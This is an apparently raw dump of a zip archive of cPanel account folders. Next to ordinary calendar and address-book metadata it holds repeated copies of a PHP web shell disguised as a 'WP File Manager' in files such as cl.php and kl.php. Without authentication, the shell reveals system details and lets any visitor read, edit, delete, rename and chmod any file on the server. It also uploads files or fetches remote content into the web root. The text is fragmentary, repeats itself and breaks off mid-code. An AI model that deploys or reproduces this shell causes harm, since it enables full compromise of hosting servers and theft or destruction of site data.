← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]íÕÛBB&bulgaria@dunyagozbalkans.com/.metadatanu"º] €[addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 [calendar] type VCALENDAR protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. PK‘&{]¨�XBB!adelina@drsupernova.com/.metadatanu„[µü¤[calendar] protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. type VCALENDAR [addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK PK‘&{]„N9³§Ë§Ëadelina@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëadelina@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom 